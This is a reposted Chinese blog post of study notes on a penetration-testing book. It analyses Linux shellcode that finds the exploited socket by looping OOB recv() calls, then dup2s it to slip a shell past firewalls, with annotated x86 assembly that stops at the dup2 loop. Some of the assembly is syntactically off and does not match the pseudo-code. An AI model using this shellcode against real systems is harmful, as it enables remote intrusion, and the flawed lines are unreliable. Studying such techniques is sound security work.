《网络渗透技术》学习笔记(3)——一段穿透防火墙的Shellcode汇编代码分析 zz

http://blog.sina.com.cn/s/blog_492101c7010002sz.html

通过前面两节的笔记,对程序栈结构、函数调用、系统调用等基础知识已经形成了一定程度的认识,本节着重再次讨论Linux下系统调用的实现,以加深理解,同时也讨论了函数参数定位技术,还有一个准确定位常量的技巧。

    缓冲区溢出技术在发展,相应的防范技术也在发展,他们是相互促进的。先进的防火墙多数已具有过滤普通Shellcode的能力,也就是说他会过滤含有比如socket,bind等网络函数的数据包,因此我们的Shellcode也就需要变通方法,寻求解决之道。在《网络渗透技术》第三章的3.1.4节,主要讨论了三种实现穿透防火墙Shellcode的技术思路。这三种技术与其说是传统防火墙的技术,不如说是关于Linux系统调用的好例子。下面我们就摘取其中的第二种技术(这三种技术大同小异)来看一下。

Cnhonker的bkbll最先使用这种技术。其大体思路可用如下伪C语言片断描述:
i=0;
while(1){
i++;
recv(i,buf,1,1);
if(buf=='l') goto shell;
}

    也就是说,搜索本进程中接收缓冲区中含有我们预约字符串的套接字,这个套接字就是我们需要的套接字,也就是引起缓冲区溢出的那个套接字。具体来说,本技术使用了OOB(out of band,带外传送。OOB竟然还被人解释成out of blog,ha)技术。OOB的出现是为了满足特殊用途,当需要传送比较特殊(比如比较紧急)的数据时可以使用OOB方式来发送。

关于OOB,我再根据《渗透》中的内容谈一下我的理解:
    当发送端应用程序需要发送特殊数据时,他将使用OOB方式,发送方TCP进入紧急模式,此后发送出的每个数据包都包含URG标志和16位URG指针,直到将要发送的OOB数据发送完为止。TCP进入紧急模式时我们也可以称创建了一个OOB通道,当OOB数据全部发送完毕通道才关闭,TCP就又恢复到正常状态。举个不太恰当的例子:对于青岛市市政府前面香港中路的某段路,平时各色车辆按照规则通行。当有一天,某位重要人物莅临青岛,其车队(自然是警车开道特气派的那种)浩浩荡荡在香港中路行驶,当开始进入这段路时这段路就进入了OOB状态,此时其他闲杂车辆是不允许经过这段路的,直到车队通过了才解开封锁,这段路就又恢复到正常状态。

    按照《渗透》中所述,在接收端,第一次接收到一个OOB数据包后也进入紧急状态,用户此时可以recv OOB数据,虽然此时可能OOB数据也许并未准备好。

[注意] 在一个OOB通道中,除了最后一个字节被当作OOB接收外,此前的字节都会被当作普通数据接收。这一点可以从上面那段代码中看出。那里只是用OOB方式接收了1个字节。比如,如果发送端发送的OOB数据是"xxxxxxxxxxxxxxxxxxxxxxxxxxy",那么接收端接收到的OOB数据只会是一个字节'y'。
这里给出一个关于OOB技术的参考网址:http://caycraft.blogchina.com/2163484.html

    recv函数的原型是这样的:int recv( SOCKET s,  char FAR *buf,   int len,  int flags  ); 。
他从当前进程的套接字s的接收缓冲区中以flags的方式试图读取指定长度len的内容存放到buf,并返回实际读取到的字节数。
一般地,flags是0,也就是表示普通方式,但当需要接收OOB数据时需要指定flags为1。
这里给出一个关于recv函数的参考网址:http://www.blog.edu.cn/user2/shyyan/archives/2005/1046578.shtml

    《渗透》中讨论的三种穿透防火墙的Shellcode技术都是需要exploit配合的,也就是说当exploit发送完包含Shellcode的攻击字符串后,还需要接着发送预约的一个特征字符串,以便当在远程机器中成功溢出并执行Shellcode后,Shellcode可以进而搜索含有该预约字符串的socket。
    具体到这种方式,exploit在发送了攻击串后就接着用OOB方式发送预约串。在Shellcode里面,稍等片刻(比如1秒)后就开始搜索含有预约串的socket。具体Shellcode中用来搜索预约串的那段代码对应的汇编代码如下:
[注意] 这段代码中并未去调用Linux封装好的函数,而是直接进行了系统调用。

;等待1秒以便预约串发送过来
xorl  %eax,%eax
pushl %eax,%eax
incl  %eax
pushl %eax             ;构造struct timespec变量 {1,0}

 ;把此变量的指针存入ebx,作为sys_nanosleep的第一个参数。这里就是我们说的函数参数定位的技巧
movl  %esp,%ebx       

xorl  %ecx,%ecx        ;sys_nanosleep的第二个参数置NULL
movb  $0xa2,%al        ;sys_nanosleep的系统调用号
int   $0x80            ;开始系统调用

jmp   locate_addr      ;一个短跳转,下面可以看到其用意

find_s:
      pop  %edi        ;ok,一个jmp,一个call,一个pop,我们就得到了常量字符串的地址
      xorl %esi,%esi   ;esi中存放的是socket索引值

find_s_loop:
      incl  %esi       ;搜索下一个socket

      decl  %esp
      movl  %esp,%edx  ;定位buf的地址并存入edx
     
      xorl  %eax,%eax  ;0 --> eax
      incl  %eax       ;1 --> eax
      pushl %eax       ;push 1
      pushl %eax       ;push 1
      pushl %edx       ;push buf
      pushl %esi       ;push socket
      movl  %esp,%ecx  ;上面准备好了recv的参数,现在将参数所在地址存入ecx
     
      xorl  %ebx,%ebx  ;0 --> ebx
      movb  $0x0a,%bl  ;SYS_RECV
      movb  $0x66,%al  ;sys_socketcall的系统调用号
      int   $0x80      ;进入系统调用
     
      decl  %eax      
      jnz   find_s_loop ;是否接收到了一个字节?如果不是则继续搜索
     
      cmpb  $0x49,(%edx)
      jne   find_s_loop ;是否接收到的是我们预约的串?如果不是则继续搜索
     
;找到了我们要找的socket,其索引值在esi,现在我们把他存入ebx,作为dup2的第一个参数
      movl  %esi,%ebx   
      xorl  %ecx,%ecx
      movb  $0x03,%cl   ;0x03 --> ecx
     
dup2s:
      movb  $0x3f,%al   ;dup2的系统调用号
      decl  %ecx        ;0x02 --> ecx,dup2的第二个参数
      int   $0x80       ;进行系统调用
     
      incl  %ecx        ;恢复ecx的值为3

发布了7 篇原创文章 · 获赞 1 · 访问量 4万+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章